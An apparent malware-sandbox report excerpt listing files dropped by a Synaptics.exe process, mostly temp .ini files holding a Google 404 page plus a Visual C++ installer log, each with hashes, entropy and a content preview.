Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xRt0k__p68_SzoRauThq-w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\RcpNc9A.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.264219747212261
Encrypted:	false
SSDEEP:	24:bsF+0yRSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+x+pAZewRDK4mW
MD5:	7EC32BB7D6019E5C75B62A136322B27A
SHA1:	D33A2D5A5927A5513DACA3D05CAFB21E172325E2
SHA-256:	EDCA3EA406CF8A66B4210C10CE60AB79AB72C41271B632CB587A17C97DF825DA
SHA-512:	213EBF213D4ECACD24E46A87E7E0923A172AC844118E9C6A7CFFEFB500442B4457E567D86422FB4B8261FD8FD084B9491843CBB98483180033E46154E010C4C8
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-m7xWq5RSDMgK6RVwwudwA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\SrLVouK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.259296223806331
Encrypted:	false
SSDEEP:	24:bsF+05DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+i+pAZewRDK4mW
MD5:	44973957B12CA4A306F9320782D9CECD
SHA1:	2FCEBC9E7FB4D32784C2A2FF661EBC20D8823C6B
SHA-256:	A33A78E81C4262565AFE6C932820CFB324103D72D034B45268D931708A5EC3F4
SHA-512:	E9E9691B1D57756269B9D1AA54A54122CB4D6E5DF5432BE6927DC598171A5688FC3486BE3A168ADFA944DC8B81697B4C99B11583A9BE867321098354B7F672AA
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CkGzVnBP4Xbcpa9jU3wesw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Un4o5Ta.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.247198563235971
Encrypted:	false
SSDEEP:	24:bsF+0hSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+C+pAZewRDK4mW
MD5:	6F1DF8BAAC32D6B0BE56E6E03193B58B
SHA1:	29143800A13C7B1C0F9EF0B7FBDA0D763EC36B76
SHA-256:	6B8B215386169F59742C501659C34838E56F2C36FD663CDEBC05868C463CEC1E
SHA-512:	1949764BB4CDF4A6F5972B3C078202CD37903BA16087C2F8B023486DEF6A4181969E32DBB9183840F8CEBEE9F23CDED07EBF5F604E0EA001B6CA2BFB98B57962
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cZ023ZTyi5NliEqT4dannQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\VaGGON2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.25598258220383
Encrypted:	false
SSDEEP:	24:bsF+0Z8SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+s8+pAZewRDK4mW
MD5:	3791DEC91869E4CBAC6EDC1284ED7F43
SHA1:	5DEACE8AFAA21EDBA94328F3CFB7A334C8C64139
SHA-256:	0EA07FA0A03BB6DFFEE72FB9CD6C3CC196D6E301A989440A6193134598927079
SHA-512:	0AE4E7E481FBAA75CE24F79009CA0D817C4808BC82E3C14D18A35D93EDD5BF7C3AAA0620D12A83A01A5EB3340D0C199F3AB0F53CC5A7502761589097910AF8DB
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="to8NJ3RCTC2nrSwnJ1h5fQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\VcxKcTy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.249769940205755
Encrypted:	false
SSDEEP:	24:bsF+0hSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+u+pAZewRDK4mW
MD5:	61BD13D5FB1B29EA2157844AF8396E9E
SHA1:	856850D1BFBF1775D3FC0FADF542C2E50E08B6BD
SHA-256:	E858A808B3451F370EE5EBB9139B319FF5D872442C9990555751C890B33BD256
SHA-512:	D7A826D67BEB813E0D65B1593527E288E5EF628E8C7B6367160BAEECCB3B8DF3577F1D19C94A94651387B074B741EFE87B5353341E5E00FCECEE83ED18971CFE
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iI4v7m835vasE2Vupv90Ng">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\WH52cOx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.260178522836141
Encrypted:	false
SSDEEP:	24:bsF+08SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+X+pAZewRDK4mW
MD5:	6631A06F912DF36ED44B020E14082618
SHA1:	8EF05513A446B1A1CE6555B92560CC5B542548A7
SHA-256:	8AA330C99014693442698BC2F740D9E3A26DED5D98F4633036C20FACDDD1853F
SHA-512:	0A93C4028B9C3ADC76AA98D7436904758B1C0ADF3013D60CEDBDC97C3851FA189F24AE9659E9C582880D5306F46A938AD9D20F36BDE884D0147A7C28678FAF40
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="X97x45e0WXMhsyBcdd9F6A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\XMotrME.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256099392777249
Encrypted:	false
SSDEEP:	24:bsF+0n/DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Kb+pAZewRDK4mW
MD5:	6A8C386AE8C5FB84927E9CE77269D550
SHA1:	1DDD233E1511840DED07D3A02FE11E1DE005C283
SHA-256:	2FEC621A11A8BD9B6F1592A47B7D7324D1A4223D8F6EF9ADA5190F26AF2782BB
SHA-512:	5AB069DF611B309B070783ACE06D02BAB6E0AADBFBA3992AB149FB999DD264F05CAF5B131273E85A3E2769523EE0CAB987506A657FE306164401704C522432FA
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WrcVh8D0myVa-5Z2gUq3dA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\XTGBxiK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.262912389657237
Encrypted:	false
SSDEEP:	24:bsF+0LSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+I+pAZewRDK4mW
MD5:	1CD5F80369982E00AC2CC73C1D728EDB
SHA1:	29B431937CA5966B2BC603270C39BDE0D07DF63C
SHA-256:	F47EAD327C9BC9860776B7AB454270BA9C5992160728CBEF72820DAD1522BB66
SHA-512:	8E2BE3C51900B8E097671FB7114EC91F4387039BE4241D825A0B7529F9A895CFBD1C5641CD1688FA03C734028BDED258151C4DB8834EBAD9FA471805DAFF772F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="z_5ve68AFb9JNu2-P8AmJw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\YYIHhZw.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.267871311952869
Encrypted:	false
SSDEEP:	24:bsF+0HSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+M+pAZewRDK4mW
MD5:	15A8CD3106EB87D8BA96860FD768DFBB
SHA1:	5FDD7BDA01521C239FFB4685C528F62F72999540
SHA-256:	7018C254F2953D9DF3568D0691A0A20A1A834BE9ABFB60EE171EA95DB0285A77
SHA-512:	32913868692B09E8A2D807FDB96CFD872653B1E64DCD2BCBD5C83DA59DB1DE8114ADEBBB7A2F0E3F0A8895CD16A644E9D4FBEF940C6F9611F06F248BB5D5AFE2
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5PUruFDCARFYugVL6em9Tw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Zc8RQh9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.258135439664131
Encrypted:	false
SSDEEP:	24:bsF+0kyU60XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+ZyU6W+pAZewRDK4mW
MD5:	C158A34DE9EEA7ED67D2D9A313D6031F
SHA1:	FC59385F6C9C34114B07BA36172D4A6B68789B0B
SHA-256:	088D1757BF4925564F2DB552EB7E02EB3E14D95BD4978952286E1B06EEE0CE87
SHA-512:	CC1FCAE77C37668908A2F6E33C87E591D08D84D9D1C50898E98B2ADECFF6E1EAA500867EFD1F04355DCC8B661D55B5452633988618B5D86FF4E069696B59621D
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lguz7VxONLKpdtWT7Chc-Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\aXqYwKr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.267143551512699
Encrypted:	false
SSDEEP:	24:bsF+0ThXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+qhX+pAZewRDK4mW
MD5:	455555DA6A007C9C08F4E75F8E5531F6
SHA1:	FD24CF6CABDA823C3A06D812383F99415C4D22A0
SHA-256:	B4E542D93FD7F28006F0BEC3CD0A1CD052B78BC8B60989FDEC61664B1033B414
SHA-512:	53200A39ED46581D217819CE6065802C84A3514BF7D5925318668CC96DA25A68482A457C23D1FEF74D1BD4AB13ECD44311BCA057F2771CDA65DCB95085076B2F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ksiR3I7y4-CEqzzyKMAwsQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\bIsguaT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.273583342439158
Encrypted:	false
SSDEEP:	24:bsF+0iSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Z+pAZewRDK4mW
MD5:	2B1B40F7E43EA1C96FF889023A0A6D1C
SHA1:	D61BC74A78380809487D832ECCD75540BC05E0A4
SHA-256:	46705CA44C2CAC19376B7C2EB0192875E6108BA639B9B0896AE22B0ED9860540
SHA-512:	333FEB3A21D2C686843E97D3BF3F07F96F31E00FDEDDDB1B6DCE79F6246819172DC146725203D42A04575CF9D3FE349A7C4A919BC885FEC4CEFA9616F8EDC64F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QblKABk12BMFOBWEU-Q7Cg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\bmGrAvv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256764300598286
Encrypted:	false
SSDEEP:	24:bsF+0NISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+x+pAZewRDK4mW
MD5:	2E9079AEB4F81823617B106AE9DE8F30
SHA1:	703C85ECAFAC71C2BCD22C267D64F80381C26C71
SHA-256:	BCE7C0C973B62664CFF7D90390F57DA1966B2A420B7B73DA618485DB828D4F5B
SHA-512:	8D8915F3D0D12C0140628D78EF2CCCE3A6ED087BC3B5BF81BF5C607E38B2D90931C2BE7E04842E7C3FE1F2487805A8F00B9C7607902361D78F257952BE5C528D
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gcD4UenrRgI5FmY14-3ZXQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\dd_vcredist_amd64_20240725155450.log

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	5.476462060449612
Encrypted:	false
SSDEEP:	96:9mpLkYfj6n/tc1A1u19151e1s1z12GuUBy0KfUWWn5qcCZcD0cHYox6:cLk8j6n+1A1u19151e1s1z1Llyld
MD5:	C9709CD001410584DD9A490656A41196
SHA1:	09073BFB615C5C8F9FE53DD42DA7CA28D12E3906
SHA-256:	DE65B173FEFC122706FE25B1D06D6C40A0F75EAA5174F06BEC353E92F24A6B9B
SHA-512:	E28227298B76A913B4E8C7395A9EE5B7FAD84B0817B750DD93F269AEF8E8229EA5FC9FE7D5764B082CA35237EC4A7A4732A478745E9F43A6693AEC2ADF2EC109
Malicious:	false
Preview:	[1610:1AE0][2024-07-25T15:54:49]i001: Burn v3.7.3813.0, Windows v10.0 (Build 19045: Service Pack 0), path: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe, cmdline: '-burn.unelevated BurnPipe.{E4E51F82-7E66-4DF5-9657-3D7E13E42432} {55F881B6-C3A9-452A-8EED-53F844AA8C21} 1492'..[1610:1AE0][2024-07-25T15:54:50]i000: Setting string variable 'WixBundleLog' to value 'C:\Users\user\AppData\Local\Temp\dd_vcredist_amd64_20240725155450.log'..[1610:1AE0][2024-07-25T15:54:50]i000: Setting string variable 'WixBundleOriginalSource' to value 'C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe'..[1610:1AE0][2024-07-25T15:54:50]i000: Setting string variable 'WixBundleOriginalSourceFolder' to value 'C:\Users\user\Desktop\'..[1610:1AE0][2024-07-25T15:54:50]i000: Setting string variable 'WixBundleName' to value 'Microsoft Visual C++ 2017 Redistributable (x64) - 14.14.26429'..[1610:1AE0][2024-07-25T15:54:50]i100: Detect begin, 10 packages..[1610:1AE0][2024-07-25T15:54:50]i000: Settin

C:\Users\user\AppData\Local\Temp\fChPMvD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.260911548139799
Encrypted:	false
SSDEEP:	24:bsF+0qJSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+7+pAZewRDK4mW
MD5:	159C19B7CA779D76124EE330A199C3CA
SHA1:	B32F6F180354794E8345E3ADF3F5DDF8CA84AD8F
SHA-256:	F716FA4BFC0344E7480260C1B420D3147860D4CDB588B0A632A6B523B9D54360
SHA-512:	283AC118241034C53ACE9E0E6D4F9F682943177BDC2A386480DF09AB550A82E0F60AF592251BC20A5AC8C3246FEA5152D5C20F4054A610734549D88D51336CE2
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-KlBsmOjqbLdqDvQ4k9zrg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\iAD7NwS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.259833665979658
Encrypted:	false
SSDEEP:	24:bsF+0YwDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+l0+pAZewRDK4mW
MD5:	B90535338D38804AB3680E046CC7384E
SHA1:	64F8F2ED409CACB8CAFDB66EFE70856635C2268D
SHA-256:	7ACD9B60E9E019F9B10B912A23C58C1E506549534886E17DC47E2CA1588569CA
SHA-512:	B0CAB3DB5EF40C918D8D039461DF61B46F2EA0A78A06B303DC3C970234AA4CFD50E05E850F7EA43E84499154D2E80D98E8E1770AC27532CF78A6E2AF371AA5A9
Malicious:	false
